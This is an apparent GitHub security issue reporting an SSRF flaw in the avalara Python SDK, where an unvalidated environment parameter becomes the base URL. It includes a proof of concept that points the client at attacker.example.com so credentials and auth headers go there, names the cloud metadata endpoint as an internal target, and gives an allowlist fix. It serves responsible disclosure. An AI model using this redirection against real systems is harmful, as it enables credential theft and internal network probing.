Skip to content

Security: SSRF in avalara Python SDK via unvalidated environment parameter #186

Description

@gnsehfvlr

Security Vulnerability: Server-Side Request Forgery (SSRF) in avalara

Summary

The avalara Python SDK (version 26.6.0) accepts a user-supplied environment parameter that is stored directly as self.base_url without validation, causing all subsequent API calls—including those transmitting authentication headers—to be directed to an attacker-controlled URL. This constitutes a Server-Side Request Forgery (SSRF) vulnerability that can lead to credential theft and internal network access.

Affected Package

Vulnerability Details

In client.py at lines 71-72, the AvataxClient constructor accepts an environment argument and assigns it directly to self.base_url:

# client.py lines 71-72 (approximate)
self.base_url = environment

No URL validation, allowlist check, or scheme restriction is performed. Every subsequent API method constructs request URLs by prepending self.base_url, and authentication credentials (username/password or API key) are attached as HTTP headers to these requests. If an attacker can influence the environment parameter (e.g., via a configuration file, environment variable, or application-layer injection), they can redirect all SDK traffic—including authentication headers—to an arbitrary server they control.

Proof of Concept

from avalara import AvataxClient

# Attacker controls an HTTP server at http://attacker.example.com/
# By passing it as the environment parameter, all API calls go there
client = AvataxClient(
    app_name="test",
    app_version="1.0",
    machine_name="localhost",
    environment="http://attacker.example.com/"
)

# Authenticate - credentials are sent to attacker's server
client.add_credentials("valid_username", "valid_password")

# Any API call will now exfiltrate auth headers to the attacker
response = client.query_tax_rates({"line1": "2000 Main Street", "city": "Irvine", "region": "CA", "postalCode": "92614", "country": "US"})
# HTTP request with Authorization header goes to http://attacker.example.com/

Impact

An attacker who can control the environment parameter achieves:

  1. Credential exfiltration: Authentication headers (Bearer tokens, Basic auth credentials) are sent to the attacker's server.
  2. Internal network scanning/access (SSRF): The SDK can be pointed at internal services (e.g., http://169.254.169.254/ for cloud metadata endpoints, or internal microservices) to probe or interact with systems not directly exposed to the public internet.
  3. Data exfiltration: All request bodies (tax transaction data, PII) are forwarded to the attacker.
  4. Potential for lateral movement in cloud/containerized environments via metadata service abuse.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Remediation

  1. Validate the environment parameter against a strict allowlist of known Avalara API base URLs (e.g., https://rest.avatax.com for production, https://sandbox-rest.avatax.com for sandbox).
  2. Reject or sanitize any value that does not match the allowlist, raising a ValueError with a clear message.
  3. Avoid accepting arbitrary URLs from user-supplied input for security-sensitive HTTP client base URLs.

Example fix:

ALLOWED_ENVIRONMENTS = {
    "production": "https://rest.avatax.com",
    "sandbox": "https://sandbox-rest.avatax.com",
}

def __init__(self, app_name, app_version, machine_name, environment="sandbox"):
    if environment in ALLOWED_ENVIRONMENTS:
        self.base_url = ALLOWED_ENVIRONMENTS[environment]
    else:
        raise ValueError(f"Invalid environment '{environment}'. Must be one of: {list(ALLOWED_ENVIRONMENTS.keys())}")

Disclosure Timeline

  • 2026-07-02: Discovered via DAST scan
  • 2026-07-02: Reported to maintainer

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions